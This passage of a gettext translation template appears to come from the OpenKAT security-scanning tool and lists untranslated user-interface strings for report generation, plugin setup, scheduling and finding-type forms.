python-format\nmsgid \"Showing %(length)s of %(total)s objects\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_ooi_list.html\n#, python-format\nmsgid \"Select all %(total_oois)s object\"\nmsgid_plural \"Select all %(total_oois)s objects\"\nmsgstr[0] \"\"\nmsgstr[1] \"\"\n\n#: reports/templates/partials/report_ooi_list.html\nmsgid \"Object name\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_ooi_list.html\nmsgid \"Report(s) may be empty due to no objects in the selected filters.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_ooi_list.html\nmsgid \"\"\n\"Reports matching the selected filters will be empty at this moment in time. \"\n\"Future reports may contain data. It is still possible to generate the \"\n\"(potentially empty) report.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_ooi_list.html\nmsgid \"Continue with live set\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_ooi_list.html\n#: reports/templates/partials/report_types_selection.html\nmsgid \"Continue with selection\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\n#: reports/views/aggregate_report.py reports/views/generate_report.py\n#: reports/views/multi_report.py\nmsgid \"Configuration\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"Set up the required plugins for this report.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\n#: reports/templates/summary/selected_plugins.html\nmsgid \"Plugins\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"\"\n\"KAT will be able to generate a full report when all the required and \"\n\"suggested boefjes are enabled.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"\"\n\"If you choose not to enable a plugin, the data that plugin would collect or \"\n\"produce will be left out of the report which will then be generated based on \"\n\"the available data collected by the enabled plugins.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"\"\n\"Some plugins are mandatory as they are crucial for a report type. Reports \"\n\"that don't have their requirements met will be skipped.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"Warning! Before you proceed read the following points:\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"\"\n\"OpenKAT is designed to scan all known objects on a regular basis using the \"\n\"enabled plugins and set clearance levels. This means that scans will run \"\n\"automatically. Be patient; plugins may take some time before they have \"\n\"collected all their data. Enabling them just before report generation will \"\n\"likely result in inaccurate reports, as plugins have not finished collecting \"\n\"data.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"Good job! All required plugins are enabled.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"This report type requires the following plugins to be enabled:\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"Toggle all required plugins\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"Show enabled plugins\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"There are no required plugins.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"Good job! All suggested plugins are enabled.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"The following plugins are optional to generate the report:\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"Toggle all optional plugins\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"Hide suggested plugins\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"Show more suggested plugins\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"There are no optional plugins.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"Enable selected plugins and continue\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_severity_totals_table.html\nmsgid \"\"\n\"\\n\"\n\"            This overview shows the total number of findings per\\n\"\n\"            severity that have been identified for this organization.\\n\"\n\"        \"\nmsgstr \"\"\n\n#: reports/templates/partials/report_severity_totals_table.html\nmsgid \"Total per severity overview\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_severity_totals_table.html\nmsgid \"Critical\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_severity_totals_table.html\nmsgid \"High\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_severity_totals_table.html\nmsgid \"Medium\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_severity_totals_table.html\nmsgid \"Low\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_severity_totals_table.html\n#: tools/forms/scheduler.py rocky/templates/tasks/partials/stats.html\nmsgid \"Pending\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_severity_totals_table.html\nmsgid \"Unknown\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_severity_totals_table.html\nmsgid \"Total\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Selected Objects\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Selected Plugins\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Used Config Objects\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_types_selection.html\nmsgid \"Choose report types\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_types_selection.html\nmsgid \"\"\n\"Various types of reports, such as DNS reports and TLS reports, are essential \"\n\"for identifying vulnerabilities in different aspects of a system's security. \"\n\"DNS reports focus on domain name system configuration and potential \"\n\"weaknesses, while TLS reports assess the security of data encryption and \"\n\"transmission protocols, helping organizations pinpoint areas where security \"\n\"improvements are needed.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_types_selection.html\n#, python-format\nmsgid \"Selected object (%(total_oois)s)\"\nmsgid_plural \"Selected objects (%(total_oois)s)\"\nmsgstr[0] \"\"\nmsgstr[1] \"\"\n\n#: reports/templates/partials/report_types_selection.html\n#, python-format\nmsgid \"\"\n\"You have selected a live set in the previous step. Based on the current \"\n\"dataset, this live set results in %(total_oois)s objects.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_types_selection.html\nmsgid \"Applied filters:\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_types_selection.html\n#, python-format\nmsgid \"You have selected %(total_oois)s object in the previous step.\"\nmsgid_plural \"You have selected %(total_oois)s objects in the previous step.\"\nmsgstr[0] \"\"\nmsgstr[1] \"\"\n\n#: reports/templates/partials/report_types_selection.html\nmsgid \"Change selection\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_types_selection.html\nmsgid \"Available report types\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_types_selection.html\nmsgid \"All report types that are available for your selection.\"\nmsgstr \"\"\n\n#: reports/templates/partials/report_types_selection.html\nmsgid \"Toggle all report types\"\nmsgstr \"\"\n\n#: reports/templates/partials/return_button.html\n#, python-format\nmsgid \"%(btn_text)s\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/modal_partials/delete_modal.html\n#: reports/templates/report_overview/modal_partials/share_modal.html\nmsgid \"Delete the following report(s):\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/modal_partials/delete_modal.html\n#: reports/templates/report_overview/modal_partials/share_modal.html\nmsgid \"\"\n\"Deleted reports are removed in the view from the moment of deletion. The \"\n\"report can still be accessed on timestamps before the deletion. Only the \"\n\"report is removed from the view, not the data it is based on.\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/modal_partials/delete_modal.html\n#: reports/templates/report_overview/modal_partials/share_modal.html\nmsgid \"\"\n\"It is still possible to generate a new report for same date. If the report \"\n\"is part of a combined report, it will remain available in the combined \"\n\"report.\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/modal_partials/delete_modal.html\n#: reports/templates/report_overview/modal_partials/rerun_modal.html\n#: reports/templates/report_overview/report_history_table.html\n#: reports/templates/report_overview/scheduled_reports_table.html\n#: reports/templates/report_overview/subreports_table.html\nmsgid \"Reference date\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/modal_partials/enable_disable_schedule_modal.html\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"Disable schedule\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/modal_partials/enable_disable_schedule_modal.html\n#, python-format\nmsgid \"\"\n\"Are you sure you want to disable the schedule for <strong>%(report_name)s</\"\n\"strong>? The recipe will still exist and the schedule can be enabled later \"\n\"on.\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/modal_partials/rename_modal.html\nmsgid \"Rename the following report(s):\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/modal_partials/rename_modal.html\n#: reports/templates/report_overview/report_history_table.html\nmsgid \"Rename\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/modal_partials/rerun_modal.html\nmsgid \"Rerun the following report(s):\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/modal_partials/rerun_modal.html\nmsgid \"\"\n\"By submitting you're generating the selected reports again, using the \"\n\"current data.\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/modal_partials/rerun_modal.html\n#: reports/templates/report_overview/report_history_table.html\nmsgid \"Rerun\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/report_history.html\nmsgid \"Reports history\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/report_history.html\nmsgid \"\"\n\"On this page you can see all the reports that have been generated in the \"\n\"past. To create a new report, click the 'Generate Report' button.\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/report_history_table.html\n#: reports/templates/report_overview/subreports.html\n#, python-format\nmsgid \"Showing %(length)s of %(total)s reports\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/report_history_table.html\n#: rocky/templates/tasks/reports.html\nmsgid \"Reports:\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/report_history_table.html\nmsgid \"Shows parent report details\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/report_history_table.html\nmsgid \"Close asset report object details\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/report_history_table.html\nmsgid \"Open asset report object details\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/report_history_table.html\nmsgid \"Asset reports details\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/report_history_table.html\n#, python-format\nmsgid \"\"\n\"This report consists of %(counter)s asset report with the following report \"\n\"type and object:\"\nmsgid_plural \"\"\n\"This report consists of %(counter)s asset reports with the following report \"\n\"types and objects:\"\nmsgstr[0] \"\"\nmsgstr[1] \"\"\n\n#: reports/templates/report_overview/report_history_table.html\n#: reports/templates/report_overview/subreports_header.html\n#: reports/templates/report_overview/subreports_table.html\n#: reports/views/report_overview.py\nmsgid \"Asset reports\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/report_history_table.html\nmsgid \"Shows asset report details\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/report_history_table.html\nmsgid \"View all asset reports\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/report_history_table.html\nmsgid \"No reports have been generated yet.\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/report_overview_header.html\n#: reports/views/base.py rocky/templates/header.html\n#: rocky/templates/tasks/partials/tab_navigation.html\n#: rocky/templates/tasks/reports.html rocky/views/tasks.py\nmsgid \"Reports\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/report_overview_header.html\nmsgid \"An overview of reports that are scheduled or have been generated.\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/report_overview_navigation.html\nmsgid \"Scheduled\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/report_overview_navigation.html\nmsgid \"History\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/scheduled_reports.html\nmsgid \"Scheduled reports\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/scheduled_reports.html\nmsgid \"\"\n\"On this page you can see all the reports that are or have been scheduled. To \"\n\"schedule a report, select a start date and recurrence while generating a \"\n\"report.\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/scheduled_reports_table.html\n#, python-format\nmsgid \"Showing %(length)s of %(total)s schedules\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"Scheduled reports:\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"Scheduled for\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"Schedule status\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"Once\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"Recent reports\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"Scheduled Reports:\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"Show report details\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"objects\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"Enable schedule\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"No scheduled reports have been generated yet.\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/subreports_header.html\nmsgid \"Back to Reports History\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/subreports_header.html\nmsgid \"An overview of all underlying reports of\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/subreports_header.html\n#: reports/templates/report_overview/subreports_table.html\nmsgid \"Shows report details\"\nmsgstr \"\"\n\n#: reports/templates/report_overview/subreports_table.html\n#: rocky/templates/tasks/boefjes.html\n#: rocky/templates/tasks/plugin_detail_task_list.html\nmsgid \"Input Object\"\nmsgstr \"\"\n\n#: reports/templates/report_schedules/delete_recipe_modal.html\nmsgid \"Delete report recipe\"\nmsgstr \"\"\n\n#: reports/templates/report_schedules/delete_recipe_modal.html\n#, python-format\nmsgid \"Are you sure you want to delete report recipe \\\"%(name)s\\\"?\"\nmsgstr \"\"\n\n#: reports/templates/report_schedules/delete_recipe_modal.html\nmsgid \"\"\n\"Deleting this report recipe means it will be permanently deleted. It will \"\n\"not be possible anymore to see or enable the schedule. You will find \"\n\"previously generated reports in the report history tab.\"\nmsgstr \"\"\n\n#: reports/templates/summary/report_asset_overview.html\nmsgid \"\"\n\"The objects listed in the table below were used to generate this report. For \"\n\"each object in the table it additionally shows the clearance level and \"\n\"whether or not the object was added by a user ('Declared') or indirectly \"\n\"identified through another service or system ('Inherited').\"\nmsgstr \"\"\n\n#: reports/templates/summary/report_asset_overview.html\nmsgid \"No objects found.\"\nmsgstr \"\"\n\n#: reports/templates/summary/report_asset_overview.html\nmsgid \"\"\n\"The table below shows which reports were chosen to generate this report, \"\n\"including a report description.\"\nmsgstr \"\"\n\n#: reports/templates/summary/report_asset_overview.html\nmsgid \"No report types found.\"\nmsgstr \"\"\n\n#: reports/templates/summary/selected_plugins.html\nmsgid \"\"\n\"The table below shows all required or optional plugins for the selected \"\n\"reports.\"\nmsgstr \"\"\n\n#: reports/templates/summary/selected_plugins.html\nmsgid \"Required and optional plugins\"\nmsgstr \"\"\n\n#: reports/templates/summary/selected_plugins.html\nmsgid \"Plugin enabled\"\nmsgstr \"\"\n\n#: reports/templates/summary/selected_plugins.html\nmsgid \"Plugin options\"\nmsgstr \"\"\n\n#: reports/templates/summary/selected_plugins.html\nmsgid \"Plugin scan level\"\nmsgstr \"\"\n\n#: reports/templates/summary/selected_plugins.html\nmsgid \"Enabled.\"\nmsgstr \"\"\n\n#: reports/templates/summary/selected_plugins.html\nmsgid \"required\"\nmsgstr \"\"\n\n#: reports/templates/summary/selected_plugins.html\nmsgid \"optional\"\nmsgstr \"\"\n\n#: reports/templates/summary/selected_plugins.html\nmsgid \"Plugin extra info\"\nmsgstr \"\"\n\n#: reports/templates/summary/selected_plugins.html\nmsgid \"\"\n\"There are no required or optional plugins needed for the selected report \"\n\"types.\"\nmsgstr \"\"\n\n#: reports/views/aggregate_report.py reports/views/generate_report.py\n#: reports/views/multi_report.py\nmsgid \"Select objects\"\nmsgstr \"\"\n\n#: reports/views/aggregate_report.py reports/views/generate_report.py\n#: reports/views/multi_report.py\nmsgid \"Select report types\"\nmsgstr \"\"\n\n#: reports/views/aggregate_report.py reports/views/generate_report.py\n#: reports/views/multi_report.py\nmsgid \"Export setup\"\nmsgstr \"\"\n\n#: reports/views/aggregate_report.py reports/views/generate_report.py\nmsgid \"Save report\"\nmsgstr \"\"\n\n#: reports/views/aggregate_report.py reports/views/generate_report.py\nmsgid \"You do not have the required permissions to enable plugins.\"\nmsgstr \"\"\n\n#: reports/views/base.py\nmsgid \"Select at least one OOI to proceed.\"\nmsgstr \"\"\n\n#: reports/views/base.py\nmsgid \"Select at least one report type to proceed.\"\nmsgstr \"\"\n\n#: reports/views/mixins.py\nmsgid \"\"\n\"No data could be found for %(report_types). Object(s) did not exist on \"\n\"%(date)s.\"\nmsgstr \"\"\n\n#: reports/views/multi_report.py\nmsgid \"View report\"\nmsgstr \"\"\n\n#: reports/views/report_overview.py\nmsgid \"Not enough permissions\"\nmsgstr \"\"\n\n#: reports/views/report_overview.py\nmsgid \"Recipe '{}' deleted successfully\"\nmsgstr \"\"\n\n#: reports/views/report_overview.py\nmsgid \"Recipe not found.\"\nmsgstr \"\"\n\n#: reports/views/report_overview.py\nmsgid \"No schedule or recipe selected\"\nmsgstr \"\"\n\n#: reports/views/report_overview.py\nmsgid \"\"\n\"Schedule disabled successfully. '{}' will not be generated automatically \"\n\"until the schedule is enabled again.\"\nmsgstr \"\"\n\n#: reports/views/report_overview.py\nmsgid \"\"\n\"Schedule enabled successfully. '{}' will be generated according to schedule.\"\nmsgstr \"\"\n\n#: reports/views/report_overview.py\nmsgid \"An unexpected error occurred, please check logs for more info.\"\nmsgstr \"\"\n\n#: reports/views/report_overview.py\nmsgid \"Other OOI type selected than Report\"\nmsgstr \"\"\n\n#: reports/views/report_overview.py\nmsgid \"Deletion successful.\"\nmsgstr \"\"\n\n#: reports/views/report_overview.py\nmsgid \"\"\n\"Multi organization reports cannot be rescheduled. It consists of imported \"\n\"data from different organizations and is not based on newly generated data.\"\nmsgstr \"\"\n\n#: reports/views/report_overview.py\nmsgid \"\"\n\"Rerun successful. It may take a moment before the new report has been \"\n\"generated.\"\nmsgstr \"\"\n\n#: reports/views/report_overview.py\n#, python-format\nmsgid \"\"\n\"Couldn't rerun %s, since the recipe for this report has been disabled or \"\n\"deleted.\"\nmsgstr \"\"\n\n#: reports/views/report_overview.py\nmsgid \"Renaming failed. Empty report name found.\"\nmsgstr \"\"\n\n#: reports/views/report_overview.py\nmsgid \"Report names and reports does not match.\"\nmsgstr \"\"\n\n#: reports/views/report_overview.py\nmsgid \"Reports successfully renamed.\"\nmsgstr \"\"\n\n#: reports/views/report_overview.py\nmsgid \"Report {} could not be renamed.\"\nmsgstr \"\"\n\n#: reports/views/view_helpers.py\nmsgid \"1: Select objects\"\nmsgstr \"\"\n\n#: reports/views/view_helpers.py\nmsgid \"2: Choose report types\"\nmsgstr \"\"\n\n#: reports/views/view_helpers.py\nmsgid \"3: Configuration\"\nmsgstr \"\"\n\n#: reports/views/view_helpers.py\nmsgid \"4: Export setup\"\nmsgstr \"\"\n\n#: reports/views/view_helpers.py\nmsgid \"3: Export setup\"\nmsgstr \"\"\n\n#: tools/forms/base.py\nmsgid \"Date\"\nmsgstr \"\"\n\n#: tools/forms/base.py tools/forms/scheduler.py\nmsgid \"The selected date is in the future. Please select a different date.\"\nmsgstr \"\"\n\n#: tools/forms/boefje.py\nmsgid \"For example: -sTU --top-ports 1000\"\nmsgstr \"\"\n\n#: tools/forms/boefje.py\nmsgid \"JSON Schema\"\nmsgstr \"\"\n\n#: tools/forms/boefje.py\nmsgid \"Input object type\"\nmsgstr \"\"\n\n#: tools/forms/boefje.py\nmsgid \"Output mime types\"\nmsgstr \"\"\n\n#: tools/forms/boefje.py\nmsgid \"Scan type\"\nmsgstr \"\"\n\n#: tools/forms/boefje.py\nmsgid \"Interval amount\"\nmsgstr \"\"\n\n#: tools/forms/boefje.py\nmsgid \"\"\n\"Specify the scanning interval for this Boefje. The default is 24 hours. For \"\n\"example: 5 minutes will let the Boefje scan every 5 minutes.\"\nmsgstr \"\"\n\n#: tools/forms/boefje.py\nmsgid \"Interval frequency\"\nmsgstr \"\"\n\n#: tools/forms/boefje.py\nmsgid \"Object creation/change\"\nmsgstr \"\"\n\n#: tools/forms/boefje.py\nmsgid \"\"\n\"Choose weather the Boefje should run after creating and/or changing an \"\n\"object. \"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"KAT-ID\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"Unique ID within OpenKAT, for this type\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"Title\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"Give the finding type a fitting title\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"Describe the finding type\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"Risk\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"Solution\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"How can this be solved?\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"Describe how this type of finding can be solved\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"References\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"Please give some references on the solution\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"Please give sources and references on the suggested solution\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"Impact description\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"Describe the solutions impact\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"Solution chance\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"Solution impact\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"Solution effort\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"ID should start with \"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"Finding type already exists\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"Click to select one of the available options\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\n#: rocky/templates/partials/finding_occurrence_definition_list.html\nmsgid \"Proof\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"Provide evidence of your finding\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"Describe your finding\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"Reproduce finding\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"Please explain how to reproduce your finding\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py tools/forms/upload_raw.py\nmsgid \"Date/Time (UTC)\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py tools/forms/upload_raw.py\nmsgid \"Doc! I'm from the future, I'm here to take you back!\"\nmsgstr \"\"\n\n#: tools/forms/finding_type.py\nmsgid \"OOI doesn't exist\"\nmsgstr \"\"\n\n#: tools/forms/findings.py\nmsgid \"Show non-muted findings\"\nmsgstr \"\"\n\n#: tools/forms/findings.py\nmsgid \"Show muted findings\"\nmsgstr \"\"\n\n#: tools/forms/findings.py\nmsgid \"Show muted and non-muted findings\"\nmsgstr \"\"\n\n#: tools/forms/findings.py\nmsgid \"Filter by severity\"\nmsgstr \"\"\n\n#: tools/forms/findings.py\nmsgid \"Filter by muted findings\"\nmsgstr \"\"\n\n#: tools/forms/findings.py tools/forms/ooi_form.py tools/forms/scheduler.py\nmsgid \"Search\"\nmsgstr \"\"\n\n#: tools/forms/findings.py\nmsgid \"Object ID contains (case sensitive)\"\nmsgstr \"\"\n\n#: tools/forms/ooi.py\nmsgid \"Filter types\"\nmsgstr \"\"\n\n#: tools/forms/ooi.py\nmsgid \"Clearance Level\"\nmsgstr \"\"\n\n#: tools/forms/ooi.py\nmsgid \"Next scan\"\nmsgstr \"\"\n\n#: tools/forms/ooi.py\nmsgid \"Show objects that don't meet the Boefjes scan level.\"\nmsgstr \"\"\n\n#: tools/forms/ooi.py\nmsgid \"Show Boefjes that exceed the objects clearance level.\"\nmsgstr \"\"\n\n#: tools/forms/ooi.py\nmsgid \"\"\n\"All the boefjes with a scan level below or equal to the clearance level will \"\n\"be allowed to scan this object.\"\nmsgstr \"\"\n\n#: tools/forms/ooi.py\nmsgid \"Expires by (UTC)\"\nmsgstr \"\"\n\n#: tools/forms/ooi_form.py\nmsgid \"option\"\nmsgstr \"\"\n\n#: tools/forms/ooi_form.py\n#, python-brace-format\nmsgid \"Optionally choose a {option_label}\"\nmsgstr \"\"\n\n#: tools/forms/ooi_form.py\n#, python-brace-format\nmsgid \"Please choose a {option_label}\"\nmsgstr \"\"\n\n#: tools/forms/ooi_form.py\nmsgid \"Filter by clearance level\"\nmsgstr \"\"\n\n#: tools/forms/ooi_form.py\nmsgid \"Filter by clearance type\"\nmsgstr \"\"\n\n#: tools/forms/scheduler.py\nmsgid \"From\"\nmsgstr \"\"\n\n#: tools/forms/scheduler.py\nmsgid \"To\"\nmsgstr \"\"\n\n#: tools/forms/scheduler.py rocky/templates/tasks/partials/stats.html\nmsgid \"Cancelled\"\nmsgstr \"\"\n\n#: tools/forms/scheduler.py rocky/templates/tasks/partials/stats.html\nmsgid \"Completed\"\nmsgstr \"\"\n\n#: tools/forms/scheduler.py rocky/templates/tasks/partials/stats.html\nmsgid \"Dispatched\"\nmsgstr \"\"\n\n#: tools/forms/scheduler.py rocky/templates/tasks/partials/stats.html\nmsgid \"Failed\"\nmsgstr \"\"\n\n#: tools/forms/scheduler.py rocky/templates/tasks/partials/stats.html\nmsgid \"Queued\"\nmsgstr \"\"\n\n#: tools/forms/scheduler.py rocky/templates/tasks/partials/stats.html\nmsgid \"Running\"\nmsgstr \"\"\n\n#: tools/forms/scheduler.py\nmsgid \"Search by object name\"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"--- Show all ----\"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"recommendation\"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"low\"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"medium\"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"high\"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"very high\"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"critical\"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"quickfix\"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"Declared\"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"Inherited\"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"Empty\"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"Add one finding type ID per line.\"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"Add the date and time of your finding (UTC)\"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"Add the date and time of when the raw file was generated (UTC)\"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"\"\n\"OpenKAT stores a time indication with every observation, so it is possible \"\n\"to see the status of your network through time. Select a datetime to change \"\n\"the view to represent that moment in time.\"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"\"\n\"<p>The name of the Docker image. For example: <i>'ghcr.io/minvws/openkat/\"\n\"nmap'</i>. In OpenKAT, all Boefjes with the same container image will be \"\n\"seen as 'variants' and will be shown together on the Boefje detail page. </\"\n\"p> \"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"\"\n\"A description of the Boefje explaining in short what it can do. This will \"\n\"both be displayed inside the KAT-alogus and on the Boefje details page.\"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"\"\n\"Select the object type(s) that your Boefje consumes. To select multiple \"\n\"objects, press and hold the 'ctrl'/'command' key and then click the items \"\n\"you want to select. \"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"\"\n\"<p>If any other settings are needed for your Boefje, add these as a JSON \"\n\"Schema, otherwise, leave the field empty or 'null'.</p> <p> This JSON is \"\n\"used as the basis for a form for the user. When the user enables this Boefje \"\n\"they can get the option to give extra information. For example, it can \"\n\"contain an API key that the script requires.</p> <p>More information about \"\n\"what the schema.json file looks like can be found <a href='https://docs.\"\n\"openkat.nl/developer_documentation/development_tutorial/creating_a_boefje.\"\n\"html'> here</a>.</p> \"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"\"\n\"<p>Add a set of mime types that are produced by this Boefje, separated by \"\n\"commas. For example: <i>'text/html'</i>, <i>'image/jpeg'</i> or <i>'boefje/\"\n\"{boefje-id}'</i></p> <p>These output mime types will be shown on the Boefje \"\n\"detail page as information for other users. </p> \"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"\"\n\"<p>Select a clearance level for your Boefje. For more information about the \"\n\"different clearance levels please check the <a href='https://docs.openkat.nl/\"\n\"manual/usermanual.html#scan-levels-clearance-indemnities'> documentation</a>.\"\n\"</p> \"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"\"\n\"Choose when this Boefje will scan objects. It can run on a given interval or \"\n\"it can run every time an object has been created or changed. \"\nmsgstr \"\"\n\n#: tools/forms/settings.py\nmsgid \"Depth of the tree.\"\nmsgstr \"\"\n\n#: tools/forms/upload_csv.py\nmsgid \"Only CSV file supported\"\nmsgstr 